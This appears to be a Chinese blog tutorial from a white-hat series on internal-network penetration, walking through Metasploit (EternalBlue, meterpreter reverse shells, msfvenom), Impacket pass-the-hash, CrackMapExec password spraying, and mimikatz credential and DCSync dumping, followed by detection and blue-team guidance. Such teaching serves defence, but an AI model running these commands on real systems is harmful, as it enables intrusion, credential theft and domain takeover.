news 2026/9/12 13:43:29

内网渗透工具栈:Metasploit、Impacket、CrackMapExec、mimikatz实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
内网渗透工具栈:Metasploit、Impacket、CrackMapExec、mimikatz实战

12-内网渗透工具栈:Metasploit、Impacket、CrackMapExec、mimikatz实战

合规声明:本文所有命令与演示仅在本地靶场(VulnHub、Metasploitable、自建域环境)或已签署书面授权的渗透测试项目中执行。未经授权的渗透测试属违法行为,可能触犯《刑法》第285条、第286条。本系列是白帽教程,核心目标是让防御者理解攻击工具的行为特征,从而部署有效的检测规则。

一、四大工具定位与分工总览

初学者最容易犯的错是把工具当"万能锤",见什么敲什么。先建立工具选型心智模型,一个比喻讲清楚:

工具比喻定位
Metasploit重装合成旅漏洞利用框架 + payload 投递 + 后渗透,一条龙但动静大
Impacket精准轻武器纯 Python 实现的 Windows 协议级操作,不落地恶意进程、隐蔽
CrackMapExec(CME)火力侦察车拿凭据对全网批量验证,快速回答"这组口令能开几扇门"
mimikatz万能钥匙串Windows 凭据瑞士军刀:从内存里掏 hash、票据、明文密码

典型攻击流(授权靶场中的标准剧本):

① 拿下跳板机(Web 漏洞/钓鱼,前置篇章内容) ② mimikatz 导出本机凭据(钥匙串掏空) ③ CME 批量验证凭据(侦察车扫一遍,找到可横向的目标) ④ Impacket 隐蔽横向(轻武器逐台拿 shell) ⑤ Metasploit 处理复杂利用与后渗透(需要重型火力时才上)

顺序不是死的,但"先侦察后开火、能轻不重"的原则是死的——动静越小的工具越优先,这是实战与靶场刷分的最大区别。

二、Metasploit:全能框架

2.1 msfconsole 核心操作流

安装:Kali 自带。靶场环境用 Metasploitable 2/3 配合练习。

msfconsole# 启动框架search eternalblue# 搜索模块(示例:MS17-010 永恒之蓝)use exploit/windows/smb/ms17_010_eternalblue# 选中利用模块show options# 查看该模块需要填的参数setRHOSTS192.168.56.105# 目标 IP(可填网段批量)setPAYLOAD windows/x64/meterpreter/reverse_tcp# 设置载荷setLHOST192.168.56.102# 本地监听 IP(回连地址)exploit# 发起攻击

逐行解释:

  • search <关键词>:在模块库里检索,支持type:exploitplatform:windows等过滤语法;
  • use <模块路径>:进入模块上下文;
  • show options:列出必填参数,缺失的会有required => true标记;
  • set RHOSTS:目标,注意是复数形式,网段192.168.56.0/24也合法;
  • set PAYLOAD:反弹 shell 载荷,reverse_tcp表示目标主动回连你(穿透防火墙比 bind 模式友好);
  • exploit -j:加-j表示作为后台任务运行。

2.2 meterpreter 常用命令速查

拿到 meterpreter 会话(靶场内)后:

getuid # 查看当前进程身份(当前权限是谁) getsystem # 尝试自动提权(尝试多种提权技巧的合集) sysinfo # 目标系统信息(系统版本/架构,决定后续选 x86/x64 模块) hashdump # 导出本机 SAM 库中的本地用户 NTLM hash route add <网段> <子网掩码> <会话id> # 通过被控主机给 MSF 添加内网路由 portfwd add -l 33890 -p 3389 -r 10.0.0.5 # 端口转发

逐行解释:

  • getuid:先确认身份再决定下一步,提权后再次运行应显示NT AUTHORITY\SYSTEM
  • getsystem:本质是尝试命名管道模拟等一组合法提权路径,现代系统上经常失败属正常,失败后走第 10 篇讲的内核提权路线;
  • sysinfo:架构信息很关键,x64 目标用 x86 payload 会被拒;
  • hashdump:拿到本地用户 hash,喂给下一节的 CME 批量验证;
  • route:让 MSF 流量借道失陷主机访问其所在内网网段,这是"内网跳板"的雏形;
  • portfwd:把目标机 10.0.0.5 的 3389 转发到本地 33890,直接rdesktop localhost:33890即可达内网远程桌面。

2.3 msfvenom 生成 payload 参数详解

msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.56.102LPORT=4444-fexe-oshell.exe

逐参数解释:

  • -p:指定 payload 类型(-p windows/x64/shell_reverse_tcp则是普通反弹 cmd);
  • LHOST/LPORT:回连地址与端口,必须是攻击机可达的 IP;
  • -f exe:输出格式,可选dllps1(PowerShell 脚本)、pythonraw(配合msfvenom ... -f raw -e x86/shikata_ga_nai等编码);
  • -o:输出文件名;
  • 常配套-e(编码器)与-i(编码次数),用于基础免杀——注意对现代 EDR 作用有限,免杀是军备竞赛话题,不在本篇展开。

靶场配套监听:

msfconsole-q-x"use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.102; set LPORT 4444; exploit"

一行解释:启动 handler 模块,载荷参数与生成时完全一致,运行 shell.exe 后回连即得会话。

三、Impacket:协议级轻武器

Impacket 是纯 Python 的网络协议库 + 一套现成脚本,pip 安装:pip install impacket。它的精髓:所有操作走 SMB/WMI/LDAP 等标准协议,不投递可执行文件、不落恶意进程,Windows 侧看起来就是"正常远程管理"。

3.1 四大 exec 脚本场景对比

# psexec:功能最全(上传文件+回显完整),原理类似微软 PsExec,会在目标创建服务(痕迹最重)psexec.py lab.local/administrator:Passw0rd@192.168.56.10# smbexec:不落文件,靠反复创建批处理服务执行命令,交互慢但相对隐蔽smbexec.py lab.local/administrator:Passw0rd@192.168.56.10# wmiexec:走 WMI 协议,不落服务,默认每条命令产生 wmic 进程痕迹wmiexec.py lab.local/administrator:Passw0rd@192.168.56.10# atexec:通过创建计划任务(at/schtasks)执行命令,适合一次性任务atexec.py lab.local/administrator:Passw0rd@192.168.56.10whoami

逐行解释:

  • 目标参数格式统一为域/用户:密码@IP;密码换位:hash位置时支持哈希传递——把密码换成LM:NT两段 hash(如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0),即 PtH,呼应第 11 篇原理;
  • psexec 在目标创建名为随机字符串的服务,事件日志 7045(服务安装)是它的经典指纹;
  • wmiexec 是实战场最喜欢的一个:交互快、不落服务,但注意 WMI 服务的命令会话默认工作目录是C:\Windows\System32
  • atexec 的命令通过schtasks注册执行,日志 4698(计划任务创建)会记一笔。

3.2 secretsdump.py:导出 hash

secretsdump.py lab.local/administrator:Passw0rd@192.168.56.10 secretsdump.py-outputfilehashes lab.local/administrator@192.168.56.10-hashesaad3b...:31d6...

逐行解释:

  • 无参数运行时对远程目标执行 hash 转储(在目标上会调用卷影副本等手段读取 SAM/LSA secrets);
  • -hashes选项再次体现 PtH:有 hash 就不需要明文;
  • 输出包含本地 SAM 账户 hash、LSA secrets(缓存的域凭据、服务明文密码等),是凭据滚雪球的核心燃料;
  • 打下域控后对 DC 运行可导出 ntds.dit 中全域账户 hash(含 krbtgt,接第 11 篇黄金票据)。

四、CrackMapExec:批量验证火力网

CME(新版已演进为 NetExec)用一句话介绍:给一组凭据、一个网段,它告诉你这组凭据能在哪些机器上开火

# 批量验证域凭据("密码喷洒"思路的验证工具)cme smb192.168.56.0/24-uusers.txt-p'Passw0rd'--continue-on-success# 用 hash 做哈希传递批量验证cme smb192.168.56.0/24-uadministrator-H31d6cfe0d16ae931b73c59d7e0c089c0# 枚举目标机本地 SAM hash(需要本地管理员权限)cme smb192.168.56.0/24-uadministrator-p'Passw0rd'--sam# 导出 LSA secrets(缓存凭据/服务密码)cme smb192.168.56.0/24-uadministrator-p'Passw0rd'--lsa

逐行解释:

  • 第一条:users.txt是用户名列表,对整个 /24 网段逐台尝试,成功的主机返回(Pwn3d!)标记;--continue-on-success让它命中后不停下、继续扫完全网——横向移动的第一张火力分布图
  • 第二条:-H指定 NTLM hash(区别于小写-p指定密码),配合用户名直接 PtH 批量验证;
  • 第三条:--sam在凭据有效的机器上导出本地 SAM 库 hash;
  • 第四条:--lsa导出 LSA secrets,经常能翻出跑在机器上的服务账号明文密码。

协议支持:cme smbcme winrm(WinRM 执行命令)、cme mssql(MSSQL 枚举与执行)——每换一个协议参数,走的就是完全不同的端口与日志通道。

五、mimikatz 命令速查

mimikatz(需 SYSTEM 权限运行)是 Windows 凭据导出的天花板,靶场中最常用的四条:

privilege::debug # 申请调试权限(操作 LSASS 内存的前置条件) sekurlsa::logonpasswords # 导出 LSASS 内所有登录会话的凭据(hash/明文) sekurlsa::tickets # 导出内存中的 Kerberos 票据(供 PtT) lsadump::dcsync /domain:lab.local /user:krbtgt # DCSync 导出域账号 hash

逐行解释:

  • privilege::debug:获取 SeDebugPrivilege,没有它打开 LSASS 进程会被拒绝,返回ERROR kuhl_m_privilege_simple时先确认自己是不是 SYSTEM;
  • sekurlsa::logonpasswords:遍历 LSASS 里 msv/wdigest/kerberos 等凭据提供程序,输出 NTLM hash 与可恢复的明文(Win8+ 默认 wdigest 明文关闭,看到大量 null 属正常,hash 照样能用);
  • sekurlsa::tickets:列出当前会话持有的 TGT/ST,配合/export导出 kirbi 票据文件供其他机器注入(PtT 落地);
  • lsadump::dcsync:第 11 篇已详述原理,此处不再展开。

防御视角必须知道:mimikatz 的全部操作集中在读取 LSASS 进程内存,所以"禁止非白名单进程访问 LSASS"是针对它的最直接防御(下一节)。

六、工具组合的典型攻击流复盘

把四件套串一遍(全程在授权域靶场,仅作复盘):

  1. 失陷成员机上 MSF 会话执行getsystem+hashdump,拿到本地管理员 hash;
  2. mimikatz执行sekurlsa::logonpasswords,翻出登录过这台机器的域用户 hash(Tier 模型没做好时,这里可能直接出现域管 hash);
  3. cme smb <网段> -u admin -H <hash> --continue-on-success画出可横向主机清单;
  4. 对高价值目标用wmiexec.py(PtH)拿交互 shell,动最小;
  5. 遇到域控补丁缺失,secretsdump.py或 DCSync 导出全域 hash;
  6. 拿到 krbtgt hash 后进入第 13 篇的持久化环节。

七、检测与防御(防御者重点)

7.1 流量特征与协议审计

  • MSF 反弹 shell:默认 meterpreter 通信是加密 TLV 流量走 4444/TCP 端口,异常端口长连接是基础特征;http/https类型载荷伪装成正常浏览流量但心跳周期规律(默认每几秒一次 GET),JA3S/TLS 指纹与流量节奏双管齐下;
  • Impacket 系:SMB 会话中的异常 User-Agent(脚本自带 UA 特征字符串)、短会高频命令执行模式;7045(服务安装)异常服务名对应 psexec,4698(计划任务)短时批量创建对应 atexec——这两条是性价比极高的告警规则;
  • CME 扫描:单源 IP 短时间对整个网段的 445 端口认证尝试,配合同 hash 多机器 4624/4776 事件聚合,直接命中"密码喷洒"检测场景;
  • WMI/WinRM 审计:开启 WMI 操作的命令审计、脚本块日志(Script Block Logging)可以抓到 WMI 通道里执行的命令内容。

7.2 EDR 对 meterpreter 与 mimikatz 的检测

  • LSASS 访问防护:Windows Defender Credential Guard(VBS 隔离 LSASS)与各类 EDR 的"进程访问 LSASS"策略,直接掐死sekurlsa::系列;检测逻辑为非白名单进程 OpenProcess LSASS + ReadProcessMemory 行为;
  • meterpreter 检测:注入行为(CreateRemoteThread 等 API 调用链)、reflective DLL 注入的内存特征扫描、payload 加载时的 RWX 内存页特征;
  • 行为聚合:现代 EDR 单点特征易绕,但getsystem(命名管道提权)、hashdump(卷影读取 SAM)与 mimikatz 的 API 调用序列在行为链检测下命中率很高——这也是"工具党永远追不上检测方"的根本原因。

7.3 给蓝队的落地清单

  1. 域内全量部署 EDR,重点开启 LSASS 保护和脚本块日志;
  2. 事件日志集中外发(SIEM),本地日志清理不致盲(呼应第 14 篇);
  3. 对 7045/4698/4624(type 9)/4662(DCSync)建立专项告警;
  4. 用 LAPS 消灭本地管理员口令复用,让 CME 的批量命中失效。

八、小结

工具是原理的放大器:第 11 篇的 PtH 原理落到 Impacket 的-hashes参数、CME 的-H参数上;Kerberos 体系落到 mimikatz 的 tickets 导出上。学工具的正确姿势是"每个参数背后能说出一个协议原理",反过来,蓝队检测规则的本质也是"每个工具行为背后有一个可审计的协议动作"。下一篇进入权限维持——拿到权限之后,如何让权限"丢了还能找回来",以及防守方如何斩草除根。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/12 13:41:24

OpenVINO与ONNX模型部署实战:人脸关键点检测的转换、量化与性能优化

简介&#xff1a;面向算法部署与计算机视觉开发者&#xff0c;这份项目源码演示了如何利用OpenVINO加ONNX的流水线&#xff0c;部署支持68点与39点landmark的人脸关键点检测模型&#xff0c;尤其适合需要将PyTorch等训练模型迁移至英特尔硬件、追求实时推理的工程场景。资源共1…

作者头像 李华
网站建设 2026/9/12 13:38:32

从零搭建无人机开发环境:Ubuntu 20.04 + Linux工程基础实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/12 13:38:13

2026年AIGC降重工具解析与实战指南

1. 2026年AIGC降重工具全景解析在学术写作和内容创作领域&#xff0c;AIGC&#xff08;人工智能生成内容&#xff09;检测已经成为继传统查重之后的第二道质量关卡。根据最新行业调研&#xff0c;2026年主流学术平台对AIGC内容的识别准确率已突破90%&#xff0c;这使得如何有效…

作者头像 李华
网站建设 2026/9/12 13:38:05

Node.js生态核心概念:前端开发者必备指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华